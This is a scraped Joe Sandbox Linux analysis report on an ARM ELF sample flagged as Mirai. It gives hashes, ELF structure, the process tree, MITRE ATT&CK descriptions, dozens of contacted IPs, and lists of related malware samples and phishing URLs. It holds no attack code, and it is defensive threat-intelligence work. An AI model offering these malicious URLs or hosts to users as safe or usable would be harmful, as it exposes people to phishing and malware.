57.147.18.70	wxHi1xmNqO	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://wep.foundation/joQ3El-Q-4Gr4RAdgQ3Ewam3TQ3Er-4Gank-y5n-d58Kvo-y5	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://xc4v655.blob.core.windows.net/dfdf/bzdfzz.html#cl/86003_md/1/4164/918/101/31543	Get hash	malicious	HTMLPhisher	Browse	20.60.134.228
	https://cl.s13.exct.net/?qs=58966b71d01b46e59cb2ad5ab21882213e404d8ee1da250ec9afe95ab701241f2e4feb327c75ef2c31f5c41faa4fa8d3	Get hash	malicious	Unknown	Browse	13.107.42.14
	27i42a6Qag.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	52.101.68.36
	4d2e6ef6-e1a5-75b9-7f89-d45656f4631e.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.28.11
	SecuriteInfo.com.Win32.SpywareX-gen.21740.30024.exe	Get hash	malicious	Remcos, DBatLoader	Browse	150.171.41.11
	https://ecv.microsoft.com/TJCqFmMAkZ	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.41
	YfygD41CEE.exe	Get hash	malicious	PayPal Phisher, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	13.107.213.41
	975630233a6e.docx	Get hash	malicious	Unknown	Browse	52.123.247.25
	https://download-installer.cdn.mozilla.net/pub/firefox/releases/121.0/update/win64/de/firefox-120.0.1-121.0.partial.mar	Get hash	malicious	Unknown	Browse	52.109.6.53
	Setup.msi	Get hash	malicious	Unknown	Browse	20.94.144.183
	http://fullblue.co.uk	Get hash	malicious	Unknown	Browse	20.108.44.128
	e-Receipt.html	Get hash	malicious	HTMLPhisher	Browse	13.68.23.144
	https://download-installer.cdn.mozilla.net/pub/firefox/releases/121.0/update/win64/de/firefox-120.0.1-121.0.partial.mar	Get hash	malicious	Unknown	Browse	52.109.20.38
	Z8g13DVLej.exe	Get hash	malicious	PayPal Phisher, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	13.107.213.41
	https://download-installer.cdn.mozilla.net/pub/firefox/releases/121.0/update/win64/de/firefox-120.0.1-121.0.partial.mar	Get hash	malicious	Unknown	Browse	52.109.0.91
	VDIbCKYOlG.exe	Get hash	malicious	PayPal Phisher, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	13.107.213.41
	Oden_PO2339.exe	Get hash	malicious	AveMaria, UACMe	Browse	13.107.213.41
	YX1CxTwW9j.exe	Get hash	malicious	PayPal Phisher, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	13.107.213.40
	XAxaAbjIBy.exe	Get hash	malicious	RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	13.107.246.41
CHINANET-BACKBONENo31Jin-rongStreetCN	https://browndoguniversity.com/americanexpress-com.connect-online.page/amexs.html	Get hash	malicious	HTMLPhisher	Browse	63.140.38.163
	https://pixel.ad.lifesight.io/pixel/event/0OSNKL?event=CLICK&ios_idfa=%5Bios_idfa%5D&android_gaid=%5Bandroid_gaid%5D&cid=%5Bcampaign_id%5D&app=%5Bapp_name%5D&channel=customdsp&cv=Adbro_330e_320x472&dnt=%5Bdo_not_track%5D&cb=timestamp&ts=%5BcurrentTime%5D&redirect=https://itkrish.com/-./	Get hash	malicious	Unknown	Browse	63.140.38.232
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:7e2ff22d-e9ad-4bf2-9af9-8280f312d601	Get hash	malicious	Unknown	Browse	63.140.38.160
	https://americuer.com/	Get hash	malicious	Unknown	Browse	63.140.38.123
	PO#800019DOCS.exe	Get hash	malicious	Unknown	Browse	63.140.38.139
	Comprobante Fiscal Digital - d1S4S7k6l4d2D09043655750.html	Get hash	malicious	Unknown	Browse	63.140.38.123
	https://aumc.patientbillhelp.com/	Get hash	malicious	Unknown	Browse	63.140.38.151
	nig.x86_64.elf	Get hash	malicious	Mirai	Browse	112.66.21.232
	nig.arm5.elf	Get hash	malicious	Mirai	Browse	1.180.136.207
	rpmOhktwoL.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc	Browse	63.140.38.201
	nig.x86.elf	Get hash	malicious	Mirai	Browse	171.89.233.97
	arm4-20231216-1307.elf	Get hash	malicious	Mirai	Browse	114.217.239.156
	x86-20231216-1307.elf	Get hash	malicious	Mirai	Browse	202.109.254.20
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	59.59.128.231
	x86_64-20231216-1307.elf	Get hash	malicious	Mirai	Browse	111.224.68.182
	arm7-20231216-1307.elf	Get hash	malicious	Mirai	Browse	106.58.169.172
	mpsl-20231216-1226.elf	Get hash	malicious	Mirai	Browse	183.34.75.121
	x86-20231216-1225.elf	Get hash	malicious	Mirai	Browse	218.64.145.139
	arm7-20231216-1225.elf	Get hash	malicious	Mirai	Browse	116.5.97.45
	arm4-20231216-1200.elf	Get hash	malicious	Mirai	Browse	115.203.46.198

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.116816945510729
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	CuruFoiJiK.elf
File size:	51'308 bytes
MD5:	da7737b175d9705ae82eb0f44e062cc4
SHA1:	237f4c70778c9facb36ad5c15c8bea79b9566464
SHA256:	a5d0279b09187f79c867ef741fe1371809d222979c4f42b45e9f9c7cb6bf8297
SHA512:	ece87f47833076da214e2e9e852a68d1f609db9f2997fecb208926ab575d3b5467b457f0a2e006c72ede7c4f78f50e5261d6499d0ef148ddf0ef5d923c4471b8
SSDEEP:	768:/E5I4ZHi6n0X/qQOgH1SCR51PJq7VDtTjPXtygDFdpvsmLBN+gtQgaAl6D1:CI4ZHH0iQOcv51xq7vTXImjp
TLSH:	3C330952BC91CA02CAD42376FA2E02CD372123D9E2EE72039E256F5077CB95E0D7B556
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................X...............Q.td..................................-...L."...E-..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	50868
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xb54c	0x0	0x6	AX	16
.fini	PROGBITS	0x135fc	0xb5fc	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x13610	0xb610	0xe04	0x0	0x2	A	4
.ctors	PROGBITS	0x1c418	0xc418	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1c420	0xc420	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1c428	0xc428	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1c42c	0xc42c	0x244	0x0	0x3	WA	4
.bss	NOBITS	0x1c670	0xc670	0x3c4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xc670	0x43	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xc414	0xc414	6.1521	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xc418	0x1c418	0x1c418	0x258	0x61c	2.9294	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

System Behavior

Analysis Process: CuruFoiJiK.elf PID: 5513, Parent PID: 5435

General

Start time (UTC):	16:00:51
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	/tmp/CuruFoiJiK.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:00:52
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:00:52
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:00:52
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: CuruFoiJiK.elf PID: 5520, Parent PID: 5515

General

Start time (UTC):	16:00:52
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: CuruFoiJiK.elf PID: 5524, Parent PID: 5515

General

Start time (UTC):	16:00:52
Start date (UTC):	21/12/2023
Path:	/tmp/CuruFoiJiK.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: CuruFoiJiK.elf	ReversingLabs: Detection: 72%
Source: CuruFoiJiK.elf	Virustotal: Detection: 66%			Perma Link

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 204.44.123.90
Source: unknown	TCP traffic detected without corresponding DNS query: 99.169.61.90
Source: unknown	TCP traffic detected without corresponding DNS query: 88.29.85.197
Source: unknown	TCP traffic detected without corresponding DNS query: 199.169.249.147
Source: unknown	TCP traffic detected without corresponding DNS query: 169.227.134.109
Source: unknown	TCP traffic detected without corresponding DNS query: 198.32.129.71
Source: unknown	TCP traffic detected without corresponding DNS query: 81.53.117.178
Source: unknown	TCP traffic detected without corresponding DNS query: 177.209.43.38
Source: unknown	TCP traffic detected without corresponding DNS query: 41.15.80.150
Source: unknown	TCP traffic detected without corresponding DNS query: 63.118.126.165
Source: unknown	TCP traffic detected without corresponding DNS query: 142.233.98.46
Source: unknown	TCP traffic detected without corresponding DNS query: 130.214.227.140
Source: unknown	TCP traffic detected without corresponding DNS query: 99.234.36.54
Source: unknown	TCP traffic detected without corresponding DNS query: 65.113.180.119
Source: unknown	TCP traffic detected without corresponding DNS query: 38.165.126.185
Source: unknown	TCP traffic detected without corresponding DNS query: 8.160.66.169
Source: unknown	TCP traffic detected without corresponding DNS query: 68.162.179.131
Source: unknown	TCP traffic detected without corresponding DNS query: 131.131.19.35
Source: unknown	TCP traffic detected without corresponding DNS query: 128.37.130.124
Source: unknown	TCP traffic detected without corresponding DNS query: 140.172.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 189.32.85.104
Source: unknown	TCP traffic detected without corresponding DNS query: 100.244.200.66
Source: unknown	TCP traffic detected without corresponding DNS query: 112.243.120.70
Source: unknown	TCP traffic detected without corresponding DNS query: 168.33.58.103
Source: unknown	TCP traffic detected without corresponding DNS query: 14.207.95.216
Source: unknown	TCP traffic detected without corresponding DNS query: 109.113.4.23
Source: unknown	TCP traffic detected without corresponding DNS query: 170.216.241.156
Source: unknown	TCP traffic detected without corresponding DNS query: 70.98.112.55
Source: unknown	TCP traffic detected without corresponding DNS query: 193.0.27.187
Source: unknown	TCP traffic detected without corresponding DNS query: 5.7.137.252
Source: unknown	TCP traffic detected without corresponding DNS query: 164.1.0.222
Source: unknown	TCP traffic detected without corresponding DNS query: 126.68.245.20
Source: unknown	TCP traffic detected without corresponding DNS query: 163.235.172.73
Source: unknown	TCP traffic detected without corresponding DNS query: 130.79.32.249
Source: unknown	TCP traffic detected without corresponding DNS query: 168.113.233.47
Source: unknown	TCP traffic detected without corresponding DNS query: 51.32.48.188
Source: unknown	TCP traffic detected without corresponding DNS query: 223.220.63.177
Source: unknown	TCP traffic detected without corresponding DNS query: 81.191.68.165
Source: unknown	TCP traffic detected without corresponding DNS query: 102.251.204.171
Source: unknown	TCP traffic detected without corresponding DNS query: 91.225.237.124
Source: unknown	TCP traffic detected without corresponding DNS query: 53.211.16.214
Source: unknown	TCP traffic detected without corresponding DNS query: 211.139.112.188
Source: unknown	TCP traffic detected without corresponding DNS query: 5.216.70.174
Source: unknown	TCP traffic detected without corresponding DNS query: 182.94.20.253
Source: unknown	TCP traffic detected without corresponding DNS query: 42.248.250.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.217.71.150
Source: unknown	TCP traffic detected without corresponding DNS query: 24.38.180.77
Source: unknown	TCP traffic detected without corresponding DNS query: 80.43.152.205
Source: unknown	TCP traffic detected without corresponding DNS query: 4.249.129.129
Source: unknown	TCP traffic detected without corresponding DNS query: 46.196.42.48

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report CuruFoiJiK.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: CuruFoiJiK.elf PID: 5513, Parent PID: 5435

General

Chronological Activities

Analysis Process: CuruFoiJiK.elf PID: 5515, Parent PID: 5513

General

Chronological Activities

Analysis Process: CuruFoiJiK.elf PID: 5517, Parent PID: 5515

General

Chronological Activities

Analysis Process: CuruFoiJiK.elf PID: 5518, Parent PID: 5515

General

Analysis Process: CuruFoiJiK.elf PID: 5520, Parent PID: 5515

General

Analysis Process: CuruFoiJiK.elf PID: 5524, Parent PID: 5515

General

Chronological Activities

Linux Analysis Report
CuruFoiJiK.elf